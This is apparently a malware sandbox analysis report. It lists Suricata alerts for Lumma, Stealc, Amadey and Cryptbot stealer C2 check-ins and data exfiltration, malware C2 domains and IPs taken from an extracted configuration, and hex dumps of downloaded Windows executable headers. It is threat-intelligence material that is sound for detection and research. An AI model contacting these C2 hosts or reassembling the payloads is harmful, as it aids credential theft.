Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.5:49909 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49912 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49912 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49912
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49912 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49912
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.5:49918 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49912 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49924 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:49932 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.5:49928 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.5:49938 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.5:49955 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:49957 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.5:49970 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.5:49991 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.5:49989 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49980 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.5:50031 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:50079 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50151 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50183 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:50394 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49893 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49893 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49989 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49991 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49928 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49928 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49880 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49880 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50031 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49955 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49955 -> 188.114.96.3:443

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 154.216.19.129 58001

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43
Source: Malware configuration extractor	URLs: QUERY\|rd\|AAAA\|IN\|home.fvtekk5pn.top
Source: Malware configuration extractor	URLs: fvtekk5pn.top
Source: Malware configuration extractor	URLs: gPhome.fvtekk5pn.top
Source: Malware configuration extractor	URLs: home.fvtekk5pn.top
Source: Malware configuration extractor	URLs: "home.fvtekk5pn.top
Source: Malware configuration extractor	URLs: 0/80/home.fvtekk5pn.top
Source: Malware configuration extractor	URLs: QUERY\|rd\|A\|IN\|home.fvtekk5pn.top

Source: global traffic

TCP traffic: 192.168.2.5:50099 -> 154.216.19.129:58001

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 02:09:10 GMTContent-Type: application/octet-streamContent-Length: 4366848Last-Modified: Thu, 21 Nov 2024 01:24:03 GMTConnection: keep-aliveETag: "673e8bb3-42a200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 80 c3 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 c3 00 00 04 00 00 a3 d0 42 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 6d c3 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 6d c3 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 37 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 7a 62 76 6a 73 66 62 00 f0 1a 00 00 80 a8 00 00 ee 1a 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 6d 79 6d 6f 70 6e 64 00 10 00 00 00 70 c3 00 00 06 00 00 00 7a 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 c3 00 00 22 00 00 00 80 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 02:09:22 GMTServer: Apache/2.4.29 (Ubuntu)Last-Modified: Thu, 21 Nov 2024 01:55:42 GMTETag: "1b009e-6276290626383"Accept-Ranges: bytesContent-Length: 1769630Content-Type: application/x-msdos-programData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 54 b8 c4 4f 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 50 01 00 00 d2 00 00 00 00 00 00 78 64 01 00 00 10 00 00 00 70 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 d0 02 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 9e 0f 00 00 00 10 02 00 d8 b1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 e3 01 00 4c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 43 01 00 00 10 00 00 00 44 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 e8 0b 00 00 00 60 01 00 00 0c 00 00 00 48 01 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 9c 0d 00 00 00 70 01 00 00 0e 00 00 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 4c 57 00 00 00 80 01 00 00 00 00 00 00 62 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 9e 0f 00 00 00 e0 01 00 00 10 00 00 00 62 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 f0 01 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 00 02 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 d8 b1 00 00 00 10 02 00 00 b2 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 02 00 00 00 00 00 00 26 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 02:09:31 GMTContent-Type: application/octet-streamContent-Length: 1864704Last-Modified: Thu, 21 Nov 2024 02:02:14 GMTConnection: keep-aliveETag: "673e94a6-1c7400"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 be 00 00 00 00 00 00 00 00 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4a 00 00 04 00 00 0e fa 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 60 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 60 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 05 00 00 02 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 80 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 76 62 6e 79 66 70 70 00 e0 19 00 00 10 30 00 00 d8 19 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 73 79 76 6c 7a 7a 73 00 10 00 00 00 f0 49 00 00 06 00 00 00 4c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4a 00 00 22 00 00 00 52 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 02:09:39 GMTContent-Type: application/octet-streamContent-Length: 1815040Last-Modified: Thu, 21 Nov 2024 02:02:21 GMTConnection: keep-aliveETag: "673e94ad-1bb200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 d0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 6a 00 00 04 00 00 46 0d 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6f 61 67 66 70 72 6c 00 20 1a 00 00 a0 4f 00 00 14 1a 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 67 79 6c 6d 6d 68 71 00 10 00 00 00 c0 69 00 00 04 00 00 00 8c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 69 00 00 22 00 00 00 90 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 02:09:49 GMTContent-Type: application/octet-streamContent-Length: 923136Last-Modified: Thu, 21 Nov 2024 02:00:28 GMTConnection: keep-aliveETag: "673e943c-e1600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 34 94 3e 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 66 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 94 76 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 8c aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 8c aa 00 00 00 40 0d 00 00 ac 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 a0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 02:09:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 